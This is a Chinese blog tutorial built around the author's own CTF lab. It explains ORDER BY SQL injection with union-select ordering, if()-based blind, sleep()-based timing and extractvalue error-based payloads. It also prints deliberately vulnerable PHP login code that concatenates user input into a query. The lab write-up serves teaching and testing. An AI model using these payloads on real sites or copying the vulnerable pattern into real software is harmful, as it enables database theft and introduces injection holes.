SQL注入进阶-order by注入

目录

01-Order By简介

02-Order By注入场景

03-Order By注入姿势

03.1-结合union select进行盲注

03.2-结合if()进行盲注

03.3-结合if() + sleep()进行盲注

03.4-结合报错注入进行盲注

 04-靶场部署打包


01-Order By简介

在很多web站点中,都提供了对前端界面显示数据的排序功能,而实际中web站点的排序功能都是借助SQL的order by来实现的,下图是某站点利用order by排序功能实现的效果:

order by语法:

order by 数字 | 列名 [ ASC , [ DESC ] ]

1、order by:对查询结果按照指定列进行排序,指定列的方式有两种:数字或列名

2、ASC:升序排列,默认为ASC

3、DESC:降序排列

注意:以数字方式指定排序列时,数字不能超过列的总数,利用该特性在进行SQL注入的时候可以判断数据库的字段数量

02-Order By注入场景

CTF题干给出一个登陆界面,根据提示信息,我们可知,只要破解了用户admin的密码并登陆,即可获得flag值,如下:

题干分析:

web前端页面输入用户名密码并点击提交后,Form表单会将username/password提交到后台进行登陆验证,此时如果后端执行验证时先使用username查表,再匹配查出来记录的密码字段是否和用户提交的password一致来判断是否允许登陆,实现这种登陆验证的服务端代码往往如下所示:

<?php
//	highlight_file(__FILE__);  
	error_reporting(E_ALL & ~E_NOTICE);
	$username = $_GET['username'];
	$password = $_GET['password'];
	$connect = mysqli_connect('localhost','order','order','order_by_inject');
    mysqli_query($connect , "set names utf8");
	$sql = "select * from users where username="."('$username')";
	$result = mysqli_query($connect,$sql);
    if (isset($username)) {
        if (!$result) {
        	echo("Something Wrong: " . mysqli_error($connect));
    	    exit();
        }else{
        	$row = mysqli_fetch_array($result);
    	    if (isset($row) && $row['username'] != "admin"){
			    echo "username error!!!";
    	    }else{
    	    	if ($row['password'] == $password) {
    		    	echo "flag{2023_police_gogoggo!!!}";
    	    	}else{
    			    echo "password error!!!";
    		    }
   		    }
        }   
    }else{
        exit();
    }
	mysqli_close($connect);
?>
后台未采用select * from users where username='xxx' and password='xxx'这种形式来验证登陆信息)

代码逻辑分析:

1、如果输入的用户名不是admin,则返回username error!!!

2、如果输入的用户名是admin,则比较用户输入的密码与数据库中查到的密码是否一致

3、若密码一致则返回flag,否则返回password error!!!

4、此时便可借助web提示信息进行注入测试

03-Order By注入姿势

03.1-结合union select进行盲注

原理简述:

首先要明白,order by排序是对整个联合查询的结果统一进行排序的,构造如下SQL语句:

admin') union select 1,2,'x' order by 3 --+

注释:admin')是为了闭合SQL语句中的引号和括号

1、如果联合查询中第三列x小于password的值,那么1,2,x会被排在第一行,源代码中对查询结果做比较的时候,会返回'username error!!!'

2、如果联合查询中第三列x大于password的值,那么1,2,x会被排在第二行,源代码中对查询结果做比较的时候,会返回'password error!!!' 

注意:由于order by在进行比较时不区分大小写,因此最好加上binary'x',即union select 1,2,binary'a' order by 3;2

注入步骤:

不断改变联合查询的第三列的值进行密码猜解(此处只做原理说明,因此假设已知密码为p0ssw0rd)

1、由于'o'小于'p0ssw0rd',因此order by排序后会将1,2,'o'排在第一行,并将第一行返回给PHP进行

admin' union select 1,2,'o' order by 3 --+

 2、由于'q'大于'p0ssw0rd',因此order by排序后会将1,2,'q'排在第二行,并将第一行返回给PHP进行

admin' union select 1,2,'q' order by 3 --+

 因此,我们根据回显的不同,可以不断的猜测x的取值,直到逐位取得password的值

03.2-结合if()进行盲注

 原理概述:

构造SQL语句:admin') order by if(表达式,1,(select SCHEMA_NAME from information_schema.SCHEMATA))

注入原理介绍:

1、表达式为真,则页面正常显示,此时可操控表达式内容进行注入猜解

2、表达式为假,则页面输出告警(Something Wrong: Subquery returns more than 1 row),其中SCHEMATA是Mysql自带数据库information_schema中存放所有库名的数据库,SCHEMA_NAME为数据库名称

3、admin')是为了逃逸引号和括号,涉及注入类型判断,不在本文所述范围

mysql自带数据库information_schema,记录本站所有数据库信息
mysql自带数据库information_schema,记录本站所有数据库信息

 注入步骤:

通过控制表达式的具体内容,获得想要的数据,比如获取数据库名称(已知数据库名称为order_by_inject,此处操作仅作演示),表达式构造如下:

substr(database(),1,1) = x    
注释:通过控制substr()函数的参数获取数据库名称的第一个字母并与x进行比较,不断更改x的取值,然后根据界面回显不同来判断数据库名的首字母
substr(database(),1,1) = 'a'    ///返回false,页面显示Something Wrong······
substr(database(),1,1) = 'o'    ///返回true,页面显示password error,说明首字母为'o'

因此,我们根据回显的不同,可以不断的猜测x的取值,直到逐位取得数据库名,此后再利用information_schema数据库进行脱裤即可 

注释:关于利用information_schema数据库知识以及利用它进行脱裤的技巧可后续关注博主新文章

03.3-结合if() + sleep()进行盲注

该方法与上一章节类似,只需将(select SCHEMA_NAME from information_schema.SCHEMATA)更改为sleep()函数即可,sleep(3)表示延迟3秒执行,如下:

03.4-结合报错注入进行盲注

报错函数基础:

1、Extractvalue()函数

语法:Extractvalue(XML_document,Xpath_string)

用法:当Xpath_string参数不符合XPath格式时,产生报错

2、Updatexml()函数

语法:updatexml(XML_document,Xpath_string,new_value)

用法:当Xpath_string参数不符合XPath格式时,产生报错

注入操作: 

构造SQL语句:admin') order by extractvalue(1,concat('~',database())) --+

 04-靶场部署打包

靶场环境是我自行搭建的,正文中基本上包含了源码,如有小伙伴需要打包好的靶场,可以留言索要,创作不易,未经允许禁止转载,多多理解、多多支持!

  • 11
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
SQL注入是一种常见的网络攻击技术,通过在SQL查询中插入恶意代码来绕过应用程序的安全验证,进而获取或修改数据库中的数据。在使用order by语句时,如果没有对用户输入进行正确的过滤和验证,就可能导致SQL注入漏洞。 通过注入order by语句,攻击者可以利用数据库的排序功能执行恶意操作。例如,攻击者可以在order by子句中插入额外的代码,来显示敏感信息、绕过身份验证或者修改数据库中的数据。 为了防止SQL注入攻击,应该始终对用户输入进行适当的过滤和验证。以下是几个防止SQL注入的方法: 1. 使用参数化查询或预编译语句:这可以确保输入的值作为参数传递给查询,而不是将其作为查询字符串的一部分。这样可以防止恶意代码的注入。 2. 对用户输入进行严格的验证和过滤:根据输入类型、长度、格式等进行验证,过滤掉潜在的恶意代码。 3. 最小化数据库用户的权限: 限制数据库用户的权限,只赋予其必要的权限,以减少攻击者对数据库的操纵空间。 4. 使用Web应用程序防火墙(WAF): WAF可以检测并阻止SQL注入攻击,它可以通过监控和过滤进入应用程序的流量来保护应用程序免受攻击。 总结起来,注入order by语句是一种常见的SQL注入攻击方法。为了防止SQL注入,我们应该对用户输入进行严格验证和过滤,使用参数化查询或预编译语句,并限制数据库用户的权限。同时,使用Web应用程序防火墙可以提供额外的保护。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值